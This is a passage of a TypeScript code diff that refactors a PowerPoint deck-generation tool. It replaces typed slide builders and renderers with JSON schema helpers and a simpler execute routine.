'#0891b2',- surface: '#e0f2fe',- background: '#ffffff',- statusGreen: '#059669',- statusYellow: '#ca8a04',- statusRed: '#b91c1c',- },- warm: {- primary: '#b45309',- primaryDark: '#78350f',- text: '#2f2823',- muted: '#66584c',- border: '#d6d2cc',- accent: '#0d9488',- surface: '#f7f7f5',- background: '#fefdfb',- statusGreen: '#65a30d',- statusYellow: '#ca8a04',- statusRed: '#9f1239',- },- alert: {- primary: '#9f1239',- primaryDark: '#4c0519',- text: '#1f2937',- muted: '#4b5563',- border: '#fecaca',- accent: '#dc2626',- surface: '#fee2e2',- background: '#ffffff',- statusGreen: '#16a34a',- statusYellow: '#ca8a04',- statusRed: '#dc2626',- },-}--/** pptxgenjs accepts bare uppercase hex (no `#`). */-function pptxHex(c: string): string {- return c.startsWith('#') ? c.slice(1).toUpperCase() : c.toUpperCase()-}--interface PptxDimensions {- width: number- height: number-}--const PPTX_LAYOUTS: Record<string, { name: string; dims: PptxDimensions }> = {- wide: { name: 'LAYOUT_WIDE', dims: { width: 13.333, height: 7.5 } },- '16x9': { name: 'LAYOUT_16x9', dims: { width: 10, height: 5.625 } },- '16x10': { name: 'LAYOUT_16x10', dims: { width: 10, height: 6.25 } },- '4x3': { name: 'LAYOUT_4x3', dims: { width: 10, height: 7.5 } },-}--const SLIDE_LAYOUT_TYPES = [- 'cover',- 'section',- 'title-bullets',- 'title-chart',- 'title-table',- 'kpis',- 'two-column',- 'image',- 'quote',-] as const--type SlideLayoutType = (typeof SLIDE_LAYOUT_TYPES)[number]--const PPTX_CHART_TYPES = ['line', 'bar', 'horizontalBar', 'pie', 'doughnut', 'area'] as const-type PptxChartType = (typeof PPTX_CHART_TYPES)[number]--interface PptxBranding {- companyName?: string- logoPath?: string- footerText?: string-}--interface PptxImageRef {- path: string- caption?: string- /** Optional explicit dimensions (inches). Default: fit to body area. */- width?: number- height?: number-}--interface PptxChartSpec {- /** Either `path` (embedded PNG) OR `type`+`data` for a native pptx chart. */- path?: string- type?: PptxChartType- title?: string- labels?: string[]- datasets?: Array<{ label: string; data: number[] }>- caption?: string-}--interface PptxTableSpec {- headers: string[]- rows: (string | number | null)[][]-}+// The deck is built by pptxDeck.ts from arguments read by pptxInput.ts and,+// for the preset decks, pptxTemplates.ts. The workflow path validates against+// this schema before the tool runs.-interface PptxKpiCard {- label: string- value: string | number- delta?: string- deltaDirection?: 'up' | 'down' | 'neutral'-}+// Each shape is described in full once, under slides[]. The template fields in+// `data` repeat its structure with short descriptions that point back there:+// the schema goes out with every request and JSON Schema $ref is not portable.-interface PptxColumnContent {- type: 'bullets' | 'narrative' | 'image'- bullets?: string[]- text?: string- image?: PptxImageRef-}+const PPTX_IMAGE_PATH_DESCRIPTION =+ "Image file name in the output folder, as clerum__generate_chart returns it (e.g. 'sales.png'). " ++ 'PNG, JPEG, GIF, WebP or SVG.'-interface PptxSlideSpec {- layout: SlideLayoutType- title?: string- eyebrow?: string- subtitle?: string- /** Cover-only: optional status band color. */- status?: 'green' | 'yellow' | 'red'- bullets?: string[]- table?: PptxTableSpec- kpis?: PptxKpiCard[]- chart?: PptxChartSpec- image?: PptxImageRef- quote?: { text: string; attribution?: string }- columns?: { left: PptxColumnContent; right: PptxColumnContent }- /** Speaker notes attached to the slide. */- notes?: string-}+const PPTX_PATH_SHORT = 'File name, as clerum__generate_chart returns it.'-/**- * Bound a free-form text field to a sane character count so a runaway- * LLM cannot emit a megabyte of text and bloat the .pptx.- */-function boundText(s: unknown, max = 4000): string {- return String(s ?? '').slice(0, max)+/** An array of short texts, or one string read as one item per line. */+function pptxTextList(description: string): Record<string, unknown> {+ return {+ anyOf: [{ type: 'array', items: { type: ['string', 'number'] } }, { type: 'string' }],+ description,+ }}-/**- * Resolve and validate an image path against outputDir, then read it.- * Returns null if the path is missing, traversal-unsafe, or the file- * doesn't exist (caller skips the image silently — same pattern as PDF).- */-function loadSafeImage(p: string | undefined, outputDir: string): string | null {- if (!p) return null- try {- const safe = validateOutputPath(p, outputDir)- if (!fs.existsSync(safe)) return null- return safe- } catch {- return null+function pptxImage(+ description: string,+ about: { path: string; caption: string; width: string; height: string }+): Record<string, unknown> {+ return {+ anyOf: [+ { type: 'string' },+ {+ type: 'object',+ required: ['path'],+ properties: {+ path: { type: 'string', description: about.path },+ caption: { type: 'string', description: about.caption },+ width: { type: 'number', description: about.width },+ height: { type: 'number', description: about.height },+ },+ },+ ],+ description,}}-/**- * Map our chart type names (matching clerum__generate_chart) to- * pptxgenjs's internal chart-type strings.- */-function pptxChartTypeFromName(t: PptxChartType, pptx: typeof PptxGenJS): string {- const c = pptx.charts ?? {}- switch (t) {- case 'line':- return c.LINE ?? 'line'- case 'area':- return c.AREA ?? 'area'- case 'pie':- return c.PIE ?? 'pie'- case 'doughnut':- return c.DOUGHNUT ?? 'doughnut'- case 'horizontalBar':- case 'bar':- default:- return c.BAR ?? 'bar'+function pptxKpis(+ description: string,+ about: { label: string; value: string; delta: string; deltaDirection: string }+): Record<string, unknown> {+ return {+ type: 'array',+ description,+ items: {+ type: 'object',+ required: ['label', 'value'],+ properties: {+ label: { type: 'string', description: about.label },+ value: { type: ['string', 'number'], description: about.value },+ delta: { type: ['string', 'number'], description: about.delta },+ deltaDirection: {+ type: 'string',+ enum: ['up', 'down', 'neutral'],+ description: about.deltaDirection,+ },+ },+ },}}-/**- * Compute a body region (inches) given slide dimensions and reserved- * margins for title/footer. All slide-render helpers anchor to this.- */-function pptxBodyRegion(dims: PptxDimensions): {- marginX: number- titleY: number- titleH: number- bodyX: number- bodyY: number- bodyW: number- bodyH: number- footerY: number-} {- const marginX = dims.width <= 10 ? 0.4 : 0.5- const titleY = 0.4- const titleH = 0.7- const bodyX = marginX- const bodyY = 1.3- const bodyW = dims.width - marginX * 2- const footerY = dims.height - 0.45- const bodyH = footerY - bodyY - 0.2- return { marginX, titleY, titleH, bodyX, bodyY, bodyW, bodyH, footerY }-}--/** Add the standard footer (company / footerText / page number) to every slide. */-function addPptxFooter(- slide: Record<string, unknown> & { addText: (...args: unknown[]) => void },- region: ReturnType<typeof pptxBodyRegion>,- dims: PptxDimensions,- branding: PptxBranding,- palette: PptxPalette,- slideNumber: number,- totalSlides: number-): void {- const muted = pptxHex(palette.muted)- const leftText = [branding.companyName, branding.footerText].filter(Boolean).join(' · ')- if (leftText) {- slide.addText(boundText(leftText, 200), {- x: region.marginX,- y: region.footerY,- w: dims.width / 2,- h: 0.3,- fontSize: 9,- color: muted,- align: 'left',- })+function pptxTable(description: string, headers: string, rows: string): Record<string, unknown> {+ return {+ type: 'object',+ required: ['headers', 'rows'],+ description,+ properties: {+ headers: { type: 'array', items: { type: ['string', 'number'] }, description: headers },+ rows: {+ type: 'array',+ items: { type: 'array', items: { type: ['string', 'number', 'boolean', 'null'] } },+ description: rows,+ },+ },}- slide.addText(`${slideNumber} / ${totalSlides}`, {- x: dims.width - region.marginX - 1.0,- y: region.footerY,- w: 1.0,- h: 0.3,- fontSize: 9,- color: muted,- align: 'right',- })}-/** Convert palette delta-direction to a small visible glyph + color. */-function deltaSpec(- direction: PptxKpiCard['deltaDirection'],- palette: PptxPalette-): {- glyph: string- color: string-} {- if (direction === 'up') return { glyph: '▲ ', color: pptxHex(palette.statusGreen) }- if (direction === 'down') return { glyph: '▼ ', color: pptxHex(palette.statusRed) }- return { glyph: '— ', color: pptxHex(palette.muted) }+/** A chart value; text such as "1,200" and {label, value} records are read too. */+const PPTX_CHART_POINT_SCHEMA = {+ anyOf: [+ { type: 'number' },+ { type: 'string' },+ { type: 'null' },+ {+ type: 'object',+ properties: {+ label: { type: 'string', description: 'Category.' },+ value: { type: 'number', description: 'Value.' },+ },+ },+ ],}-// ─── Presentation templates ─────────────────────────────────────────-//-// 4 fixed templates + custom. The caller passes a typed `data` object;-// the builder expands it into a slides[] array which is then rendered-// by the same per-slide pipeline used in custom mode.--type PptxTemplateName =- | 'executive-brief'- | 'quarterly-review'- | 'incident-review'- | 'pitch-deck'- | 'custom'--interface PptxExecutiveBriefData {- title: string- subtitle?: string- status?: 'green' | 'yellow' | 'red'- kpis?: PptxKpiCard[]- charts?: PptxChartSpec[]- takeaways?: string[]- nextSteps?: string[]+function pptxChartSeries(about: {+ labels: string+ datasets: string+ label: string+ data: string+}): Record<string, Record<string, unknown>> {+ return {+ labels: { type: 'array', items: { type: ['string', 'number'] }, description: about.labels },+ datasets: {+ type: 'array',+ description: about.datasets,+ items: {+ type: 'object',+ required: ['data'],+ properties: {+ label: { type: 'string', description: about.label },+ data: { type: 'array', items: PPTX_CHART_POINT_SCHEMA, description: about.data },+ },+ },+ },+ }}-interface PptxQuarterlyReviewData {- title: string- period: string- status?: 'green' | 'yellow' | 'red'- highlights?: string[]- kpis?: PptxKpiCard[]- revenueChart?: PptxChartSpec- breakdownChart?: PptxChartSpec- metricsTable?: PptxTableSpec- outlook?: string[]+const PPTX_SERIES_SHORT = {+ labels: 'Categories.',+ datasets: 'Series.',+ label: 'Name.',+ data: 'Values.',}-interface PptxIncidentReviewData {- title: string- date: string- severity: 'low' | 'medium' | 'high' | 'critical'- summary: string- timelineTable?: PptxTableSpec- impact?: string[]- rootCause?: string- remediation?: string[]- lessons?: string[]-}--interface PptxPitchDeckData {- company: string- tagline: string- problem: string- solution: string- marketSize?: { value: string; description: string }- tractionChart?: PptxChartSpec- team?: PptxKpiCard[]- ask?: { amount: string; useOfFunds: string[] }+const PPTX_CHART_SCHEMA = {+ type: 'object',+ description:+ 'A native, editable chart { type, labels, datasets }, or { path } for a chart image.',+ properties: {+ path: {+ type: 'string',+ description:+ "Chart image file name, as clerum__generate_chart returns it (e.g. 'sales.png'), for " ++ 'types the native list lacks. Native data given too is drawn if the file cannot be used.',+ },+ type: {+ type: 'string',+ enum: [...NATIVE_CHART_TYPES],+ description: 'Native chart type. Only for native charts: with path, leave it out.',+ },+ title: { type: 'string', description: 'Heading, unless it repeats the slide title.' },+ ...pptxChartSeries({+ labels: 'Category labels, one per value.',+ datasets: 'Series; a pie or doughnut draws only the first.',+ label: 'Legend name.',+ data: 'One value per label; null leaves a gap.',+ }),+ data: {+ type: 'object',+ description: 'Or labels and datasets nested here, as clerum__generate_chart takes them.',+ properties: pptxChartSeries(PPTX_SERIES_SHORT),+ },+ caption: { type: 'string', description: 'Note under the chart.' },+ },}/**- * Convert a `severity` keyword to a `status` color used by cover/section- * slides. Keeps the cover band visually consistent across templates.+ * A template chart: slides[].chart without its nested `data` form. The runtime+ * still reads that form; readNativeChart checks its labels and series names,+ * and the chart normalizer its datasets and values.*/-function severityToStatus(s: PptxIncidentReviewData['severity']): 'green' | 'yellow' | 'red' {- if (s === 'critical' || s === 'high') return 'red'- if (s === 'medium') return 'yellow'- return 'green'-}--function buildExecutiveBrief(data: PptxExecutiveBriefData): PptxSlideSpec[] {- const slides: PptxSlideSpec[] = []- slides.push({- layout: 'cover',- title: data.title,- subtitle: data.subtitle,- status: data.status,- })- if (data.kpis && data.kpis.length > 0) {- slides.push({ layout: 'kpis', title: 'Key Metrics', kpis: data.kpis.slice(0, 8) })- }- for (const c of data.charts ?? []) {- slides.push({ layout: 'title-chart', title: c.title ?? 'Chart', chart: c })- }- if (data.takeaways && data.takeaways.length > 0) {- slides.push({- layout: 'title-bullets',- title: 'Key Takeaways',- bullets: data.takeaways,- })- }- if (data.nextSteps && data.nextSteps.length > 0) {- slides.push({- layout: 'title-bullets',- title: 'Next Steps',- bullets: data.nextSteps,- })- }- return slides-}--function buildQuarterlyReview(data: PptxQuarterlyReviewData): PptxSlideSpec[] {- const slides: PptxSlideSpec[] = []- slides.push({- layout: 'cover',- title: data.title,- subtitle: data.period,- status: data.status,- })- if (data.highlights && data.highlights.length > 0) {- slides.push({- layout: 'title-bullets',- title: `${data.period} Highlights`,- bullets: data.highlights,- })- }- if (data.kpis && data.kpis.length > 0) {- slides.push({ layout: 'kpis', title: 'Quarterly KPIs', kpis: data.kpis.slice(0, 8) })- }- if (data.revenueChart) {- slides.push({- layout: 'title-chart',- title: data.revenueChart.title ?? 'Revenue Trend',- chart: data.revenueChart,- })- }- if (data.breakdownChart) {- slides.push({- layout: 'title-chart',- title: data.breakdownChart.title ?? 'Revenue Breakdown',- chart: data.breakdownChart,- })- }- if (data.metricsTable) {- slides.push({- layout: 'title-table',- title: 'Metrics Snapshot',- table: data.metricsTable,- })- }- slides.push({ layout: 'section', eyebrow: 'Looking ahead', title: 'Outlook' })- if (data.outlook && data.outlook.length > 0) {- slides.push({- layout: 'title-bullets',- title: 'Next Quarter Priorities',- bullets: data.outlook,- })+function pptxTemplateChart(description: string): Record<string, unknown> {+ return {+ type: 'object',+ description: `${description} As slides[].chart.`,+ properties: {+ path: { type: 'string', description: PPTX_PATH_SHORT },+ type: { type: 'string', enum: [...NATIVE_CHART_TYPES], description: 'Chart type.' },+ title: { type: 'string', description: 'Slide title.' },+ ...pptxChartSeries(PPTX_SERIES_SHORT),+ caption: { type: 'string', description: 'Note.' },+ },}- return slides}-function buildIncidentReview(data: PptxIncidentReviewData): PptxSlideSpec[] {- const slides: PptxSlideSpec[] = []- slides.push({- layout: 'cover',- title: data.title,- subtitle: `${data.severity.toUpperCase()} · ${data.date}`,- status: severityToStatus(data.severity),- })- slides.push({- layout: 'title-bullets',- title: 'Summary',- bullets: [data.summary],- })- if (data.timelineTable) {- slides.push({- layout: 'title-table',- title: 'Timeline',- table: data.timelineTable,- })- }- if (data.impact && data.impact.length > 0) {- slides.push({- layout: 'title-bullets',- title: 'Impact',- bullets: data.impact,- })- }- if (data.rootCause) {- slides.push({- layout: 'title-bullets',- title: 'Root Cause',- bullets: [data.rootCause],- })- }- if (data.remediation && data.remediation.length > 0) {- slides.push({- layout: 'title-bullets',- title: 'Remediation',- bullets: data.remediation,- })- }- if (data.lessons && data.lessons.length > 0) {- slides.push({- layout: 'title-bullets',- title: 'Lessons Learned',- bullets: data.lessons,- })+function pptxColumn(description: string): Record<string, unknown> {+ return {+ type: 'object',+ required: ['type'],+ description,+ properties: {+ type: {+ type: 'string',+ enum: ['bullets', 'narrative', 'image'],+ description: 'Which field below it uses.',+ },+ bullets: pptxTextList("For type 'bullets'."),+ text: { type: 'string', description: "For type 'narrative'." },+ image: pptxImage("For type 'image'; as slides[].image.", {+ path: PPTX_PATH_SHORT,+ caption: 'Note.',+ width: 'Inches.',+ height: 'Inches.',+ }),+ },}- return slides}-function buildPitchDeck(data: PptxPitchDeckData): PptxSlideSpec[] {- const slides: PptxSlideSpec[] = []- slides.push({- layout: 'cover',- title: data.company,- subtitle: data.tagline,- })- slides.push({- layout: 'section',- eyebrow: 'The pain',- title: 'Problem',- subtitle: data.problem,- })- slides.push({- layout: 'section',- eyebrow: 'Our approach',- title: 'Solution',- subtitle: data.solution,- })- if (data.marketSize) {- slides.push({- layout: 'kpis',- title: 'Market Size',- kpis: [{ label: 'TAM', value: data.marketSize.value, delta: data.marketSize.description }],- })- }- if (data.tractionChart) {- slides.push({- layout: 'title-chart',- title: 'Traction',- chart: data.tractionChart,- })- }- if (data.team && data.team.length > 0) {- slides.push({ layout: 'kpis', title: 'Team', kpis: data.team.slice(0, 8) })- }- if (data.ask) {- slides.push({- layout: 'title-bullets',- title: `The Ask · ${data.ask.amount}`,- bullets: data.ask.useOfFunds,- })- }- return slides+/** The fields of every template's `data`; each description names the templates that read it. */+const PPTX_TEMPLATE_DATA_PROPERTIES: Record<string, Record<string, unknown>> = {+ title: {+ type: 'string',+ description: 'executive-brief, quarterly-review, incident-review: cover title.',+ },+ subtitle: { type: 'string', description: 'executive-brief: line under the title.' },+ status: {+ type: 'string',+ enum: [...STATUSES],+ description: 'executive-brief, quarterly-review: cover band color.',+ },+ kpis: pptxKpis('executive-brief, quarterly-review: cards, as slides[].kpis.', {+ label: 'Label.',+ value: 'Figure.',+ delta: 'Change.',+ deltaDirection: 'Delta color.',+ }),+ charts: {+ type: 'array',+ items: pptxTemplateChart('One chart.'),+ description: 'executive-brief: one slide per chart.',+ },+ takeaways: pptxTextList('executive-brief: Key Takeaways slide.'),+ nextSteps: pptxTextList('executive-brief: Next Steps slide.'),+ period: { type: 'string', description: 'quarterly-review: period, e.g. "Q3 2026".' },+ highlights: pptxTextList('quarterly-review: highlights.'),+ revenueChart: pptxTemplateChart('quarterly-review: revenue trend.'),+ breakdownChart: pptxTemplateChart('quarterly-review: revenue breakdown.'),+ metricsTable: pptxTable('quarterly-review: metrics, as slides[].table.', 'Headings.', 'Rows.'),+ outlook: pptxTextList('quarterly-review: next-period priorities.'),+ severity: {+ type: 'string',+ enum: [...SEVERITIES],+ description: 'incident-review: colors the cover.',+ },+ date: { type: 'string', description: 'incident-review: when it happened.' },+ summary: { type: 'string', description: 'incident-review: what happened, briefly.' },+ timelineTable: pptxTable(+ 'incident-review: timeline, as slides[].table.',+ 'e.g. ["Time", "Event"].',+ 'Rows.'+ ),+ impact: pptxTextList('incident-review: who and what was affected.'),+ rootCause: { type: 'string', description: 'incident-review: root cause.' },+ remediation: pptxTextList('incident-review: fixes made or planned.'),+ lessons: pptxTextList('incident-review: lessons learned.'),+ company: { type: 'string', description: 'pitch-deck: company name.' },+ tagline: { type: 'string', description: 'pitch-deck: one line under the name.' },+ problem: { type: 'string', description: 'pitch-deck: the problem, briefly.' },+ solution: { type: 'string', description: 'pitch-deck: the solution, briefly.' },+ marketSize: {+ type: 'object',+ required: ['value'],+ description: 'pitch-deck: addressable market.',+ properties: {+ value: { type: ['string', 'number'], description: 'e.g. "$12B".' },+ description: { type: 'string', description: 'Scope and source.' },+ },+ },+ tractionChart: pptxTemplateChart('pitch-deck: traction.'),+ team: {+ type: 'array',+ description: 'pitch-deck: one card per person.',+ items: {+ type: 'object',+ properties: {+ name: { type: 'string', description: 'Name.' },+ role: { type: 'string', description: 'e.g. "CEO".' },+ },+ },+ },+ ask: {+ type: 'object',+ required: ['amount'],+ description: 'pitch-deck: the raise.',+ properties: {+ amount: { type: ['string', 'number'], description: 'e.g. "$5M".' },+ useOfFunds: pptxTextList('Use of funds.'),+ },+ },}const generatePptxTool: InternalToolDefinition = {name: 'clerum__generate_pptx',description:- 'Generate a styled PowerPoint (.pptx) deck. Two ways to drive it: ' +- '(1) pass `template` ∈ {executive-brief, quarterly-review, incident-review, pitch-deck} ' +- 'with a typed `data` object — the tool auto-builds the slide sequence; ' +- "(2) leave `template` as 'custom' (default) and pass `slides[]` directly with explicit " +- 'layouts: cover, section, title-bullets, title-chart, title-table, kpis, two-column, image, quote. ' +- 'Themes: default | corporate | warm | alert. Charts may be embedded PNGs (use ' +- 'clerum__generate_chart first) or native editable pptx charts. Branding (companyName, ' +- 'logoPath, footerText) appears on every slide. Speaker notes via per-slide `notes`.',+ 'Generate a styled PowerPoint (.pptx) deck: set `template` and fill `data`, or pass ' ++ '`slides[]`, each with a `layout`. A list of texts may also be one string, one item per ' ++ 'line. Lists, tables and KPI cards that do not fit continue on further slides and long ' ++ 'text is set smaller; the result says when.',parameters: {type: 'object',properties: {- filename: {- type: 'string',- description: "Output filename (e.g. 'deck.pptx'). Extension .pptx added if missing.",- },- title: {- type: 'string',- description: 'Document title (PowerPoint metadata).',- },- subject: { type: 'string', description: 'Subject (PowerPoint metadata).' },- author: { type: 'string', description: 'Author (PowerPoint metadata).' },+ filename: { type: 'string', description: "e.g. 'deck.pptx'; .pptx is added if missing." },+ title: { type: 'string', description: 'File metadata; not shown on a slide.' },+ subject: { type: 'string', description: 'File metadata.' },+ author: { type: 'string', description: 'File metadata.' },template: {type: 'string',- enum: ['executive-brief', 'quarterly-review', 'incident-review', 'pitch-deck', 'custom'],+ enum: [...PPTX_TEMPLATES, 'custom'],description:- "Preset deck shape. 'executive-brief' (cover + KPIs + charts + takeaways + next steps). " +- "'quarterly-review' (cover + highlights + KPIs + revenue chart + breakdown + table + outlook). " +- "'incident-review' (cover + summary + timeline + impact + RCA + remediation + lessons). " +- "'pitch-deck' (cover + problem + solution + market + traction + team + ask). " +- "'custom' (default): pass `slides[]` directly.",+ 'Preset deck from `data`. Required: executive-brief title; quarterly-review title, ' ++ 'period; incident-review title, severity, summary; pitch-deck company, tagline, ' ++ "problem, solution. 'custom' (default): use `slides[]`.",},data: {type: 'object',- description:- 'Template payload (required when `template` is not "custom" or absent). Shape varies ' +- 'by template — see the template description.',+ description: 'Fields for `template`.',+ properties: PPTX_TEMPLATE_DATA_PROPERTIES,},palette: {type: 'string',- enum: ['default', 'corporate', 'warm', 'alert'],- description: "Color palette. Default 'default'.",+ enum: Object.keys(PPTX_PALETTES),+ description: "Default 'default'.",},aspectRatio: {type: 'string',- enum: ['wide', '16x9', '16x10', '4x3'],- description: "Slide aspect ratio. Default 'wide' (13.33×7.5 inches).",+ enum: Object.keys(PPTX_ASPECT_RATIOS),+ description: "Default 'wide' (13.33×7.5 in).",},branding: {type: 'object',- description: 'Branding shown in the footer of every slide.',+ description: 'Footer on every slide but the cover; logo on the cover.',properties: {- companyName: { type: 'string' },+ companyName: { type: 'string', description: 'Footer, left.' },logoPath: {type: 'string',description:- 'Absolute path to a PNG/JPG logo (under outputDir for path-traversal safety).',+ 'Logo image file name in the output folder; formats as slides[].image.path.',},- footerText: { type: 'string' },+ footerText: { type: 'string', description: 'Footer, after the company name.' },},},slides: {type: 'array',minItems: 1,- description: 'Ordered list of slides to render.',+ description: 'The slides, in order.',items: {type: 'object',required: ['layout'],properties: {- layout: { type: 'string', enum: [...SLIDE_LAYOUT_TYPES] },- title: { type: 'string' },- eyebrow: { type: 'string' },- subtitle: { type: 'string' },- status: { type: 'string', enum: ['green', 'yellow', 'red'] },- bullets: { type: 'array', items: { type: 'string' } },- table: {- type: 'object',- required: ['headers', 'rows'],- properties: {- headers: { type: 'array', items: { type: 'string' } },- rows: { type: 'array', items: { type: 'array' } },- },- },- kpis: {- type: 'array',- items: {- type: 'object',- required: ['label', 'value'],- properties: {- label: { type: 'string' },- value: { type: ['string', 'number'] },- delta: { type: 'string' },- deltaDirection: { type: 'string', enum: ['up', 'down', 'neutral'] },- },- },- },- chart: {- type: 'object',+ layout: {+ type: 'string',+ enum: [...SLIDE_LAYOUTS],description:- 'Either { path } for an embedded PNG, or { type, labels, datasets } for a native pptx chart.',- properties: {- path: { type: 'string' },- type: { type: 'string', enum: [...PPTX_CHART_TYPES] },- title: { type: 'string' },- labels: { type: 'array', items: { type: 'string' } },- datasets: {- type: 'array',- items: {- type: 'object',- required: ['label', 'data'],- properties: {- label: { type: 'string' },- data: { type: 'array', items: { type: 'number' } },- },- },- },- caption: { type: 'string' },- },+ 'Needs: cover, section a title; title-bullets bullets; title-chart chart; ' ++ 'title-table table; kpis kpis; two-column columns; image image; quote quote.',},- image: {- type: 'object',- required: ['path'],- properties: {- path: { type: 'string' },- caption: { type: 'string' },- width: { type: 'number' },- height: { type: 'number' },- },+ title: { type: 'string', description: 'Heading.' },+ eyebrow: { type: 'string', description: 'Section: label above the title.' },+ subtitle: { type: 'string', description: 'Cover, section: line under the title.' },+ status: {+ type: 'string',+ enum: [...STATUSES],+ description: 'Cover: color of the top band.',},+ bullets: pptxTextList('Bullet points.'),+ table: pptxTable('A table.', 'Column headings.', 'Rows of cells, in header order.'),+ kpis: pptxKpis('Figures as cards, up to 8 per slide.', {+ label: 'What it measures.',+ value: 'A number, or formatted text, e.g. "$1.2M".',+ delta: 'Change, e.g. "+12%".',+ deltaDirection: 'Delta color: up good, down bad, neutral grey.',+ }),+ chart: PPTX_CHART_SCHEMA,+ image: pptxImage('A file name, or { path, caption, width, height }.', {+ path: PPTX_IMAGE_PATH_DESCRIPTION,+ caption: 'Note under it.',+ width:+ 'Inches. With width or height the other keeps the proportions; with both the ' ++ 'image fits inside that box; with neither it fills the space, up to twice its size.',+ height: 'Inches; see width.',+ }),quote: {type: 'object',+ description: 'Pull quote.',required: ['text'],properties: {- text: { type: 'string' },- attribution: { type: 'string' },+ text: { type: 'string', description: 'The words.' },+ attribution: { type: 'string', description: 'Who said it.' },},},columns: {type: 'object',+ description: 'Two columns.',required: ['left', 'right'],properties: {- left: {- type: 'object',- required: ['type'],- properties: {- type: { type: 'string', enum: ['bullets', 'narrative', 'image'] },- bullets: { type: 'array', items: { type: 'string' } },- text: { type: 'string' },- image: {- type: 'object',- required: ['path'],- properties: {- path: { type: 'string' },- caption: { type: 'string' },- },- },- },- },- right: {- type: 'object',- required: ['type'],- properties: {- type: { type: 'string', enum: ['bullets', 'narrative', 'image'] },- bullets: { type: 'array', items: { type: 'string' } },- text: { type: 'string' },- image: {- type: 'object',- required: ['path'],- properties: {- path: { type: 'string' },- caption: { type: 'string' },- },- },- },- },+ left: pptxColumn('Left column.'),+ right: pptxColumn('Right column.'),},},- notes: { type: 'string', description: 'Speaker notes attached to this slide.' },+ notes: { type: 'string', description: 'Speaker notes.' },},},},@@ -5511,640 +5836,24 @@ const generatePptxTool: InternalToolDefinition = {},async execute(args: Record<string, unknown>, outputDir: string): Promise<InternalToolResult> {try {- const rawName = String(args.filename ?? 'deck.pptx')- const filename = sanitizeFilename(ensureExtension(rawName, 'pptx'))- const paletteName = String(args.palette ?? 'default')- const palette = PPTX_PALETTES[paletteName] ?? PPTX_PALETTES.default- const aspectRatio = String(args.aspectRatio ?? 'wide')- const layoutDef = PPTX_LAYOUTS[aspectRatio] ?? PPTX_LAYOUTS.wide- const branding = (args.branding ?? {}) as PptxBranding-- // Resolve slides: either from a fixed template or from the caller's- // explicit `slides[]` array (custom mode = default).- const template = (args.template as PptxTemplateName | undefined) ?? 'custom'- let slides: PptxSlideSpec[] | undefined- if (template === 'custom') {- slides = args.slides as PptxSlideSpec[] | undefined- } else {- const data = args.data as Record<string, unknown> | undefined- if (!data) {- return {- success: false,- error: `template "${template}" requires a \`data\` object`,- }- }- switch (template) {- case 'executive-brief':- slides = buildExecutiveBrief(data as unknown as PptxExecutiveBriefData)- break- case 'quarterly-review':- slides = buildQuarterlyReview(data as unknown as PptxQuarterlyReviewData)- break- case 'incident-review':- slides = buildIncidentReview(data as unknown as PptxIncidentReviewData)- break- case 'pitch-deck':- slides = buildPitchDeck(data as unknown as PptxPitchDeckData)- break- default: {- const exhaustive: never = template- return { success: false, error: `unknown template: ${exhaustive as string}` }- }- }- }-- if (!Array.isArray(slides) || slides.length === 0) {- return {- success: false,- error:- template === 'custom'- ? 'slides must be a non-empty array (or use a non-custom template with `data`)'- : `template "${template}" produced no slides — check that \`data\` has the required fields`,- }- }-- const pptx = new PptxGenJS()- pptx.layout = layoutDef.name- const dims = layoutDef.dims- const region = pptxBodyRegion(dims)- const total = slides.length-- // Document metadata.- // Always assign every metadata field (even when empty). The pptxgenjs- // library otherwise fills `dc:subject` / `dc:creator` with its own- // default strings, which would surface as an unintentional brand mark- // in the deliverable.- pptx.title = boundText(args.title ?? '', 200)- pptx.subject = boundText(args.subject ?? '', 200)- pptx.author = boundText(args.author ?? '', 200)- pptx.company = boundText(branding.companyName ?? '', 200)-- const safeLogoPath = loadSafeImage(branding.logoPath, outputDir)-- slides.forEach((spec, idx) => {- const slide = pptx.addSlide()- slide.background = { color: pptxHex(palette.background) }- renderPptxSlide(slide, spec, {- dims,- region,- palette,- branding,- safeLogoPath,- outputDir,- pptx,- })- if (spec.notes) {- slide.addNotes(boundText(spec.notes, 8000))- }- // Footer on every slide except the cover (which has its own date).- if (spec.layout !== 'cover') {- addPptxFooter(slide, region, dims, branding, palette, idx + 1, total)- }- })-+ const filename = outputFilename(args.filename, 'pptx', 'deck')+ const warnings: string[] = []+ const { buffer, slides } = await buildPptxDeck(args, outputDir, warnings)// Buffer first, quota check, then write — atomic, no partial files.- const buffer = (await pptx.write({ outputType: 'nodebuffer' })) as BufferensureDir(outputDir)- enforceQuota(outputDir, buffer.byteLength)- const filePath = path.join(outputDir, filename)- fs.writeFileSync(filePath, buffer)-- return { success: true, artifact: buildArtifact(filePath, 'pptx') }+ const target = claimOutputFile(outputDir, filename)+ enforceQuota(outputDir, buffer.byteLength, replacedBytes(target))+ fs.writeFileSync(target.filePath, buffer)+ return artifactResult(target, 'pptx', {+ summary: `File generated: ${target.filename} (pptx), ${slides} slide${slides === 1 ? '' : 's'}.`,+ warnings,+ })} catch (err) {return { success: false, error: err instanceof Error ? err.message : String(err) }}},}-interface RenderCtx {- dims: PptxDimensions- region: ReturnType<typeof pptxBodyRegion>- palette: PptxPalette- branding: PptxBranding- safeLogoPath: string | null- outputDir: string- pptx: typeof PptxGenJS-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderPptxSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- switch (spec.layout) {- case 'cover':- return renderCoverSlide(slide, spec, ctx)- case 'section':- return renderSectionSlide(slide, spec, ctx)- case 'title-bullets':- return renderBulletsSlide(slide, spec, ctx)- case 'title-chart':- return renderChartSlide(slide, spec, ctx)- case 'title-table':- return renderTableSlide(slide, spec, ctx)- case 'kpis':- return renderKpisSlide(slide, spec, ctx)- case 'two-column':- return renderTwoColumnSlide(slide, spec, ctx)- case 'image':- return renderImageSlide(slide, spec, ctx)- case 'quote':- return renderQuoteSlide(slide, spec, ctx)- default: {- // AJV's enum should reject this earlier; the fallback only fires- // if a recipe author bypasses validation or the schema drifts.- const exhaustive: never = spec.layout- void exhaustive- slide.addText(`Unknown slide layout: ${(spec as { layout?: string }).layout ?? 'unknown'}`, {- x: 1,- y: 1,- w: ctx.dims.width - 2,- h: 1,- fontSize: 18,- color: pptxHex(ctx.palette.statusRed),- })- }- }-}--// eslint-disable-next-line @typescript-eslint/no-explicit-any-function renderCoverSlide(slide: any, spec: PptxSlideSpec, ctx: RenderCtx): void {- const { dims, palette } = ctx- // Status band at top.- if (spec.status) {- const bandColor =- spec.status === 'green'- ? palette.statusGreen- : 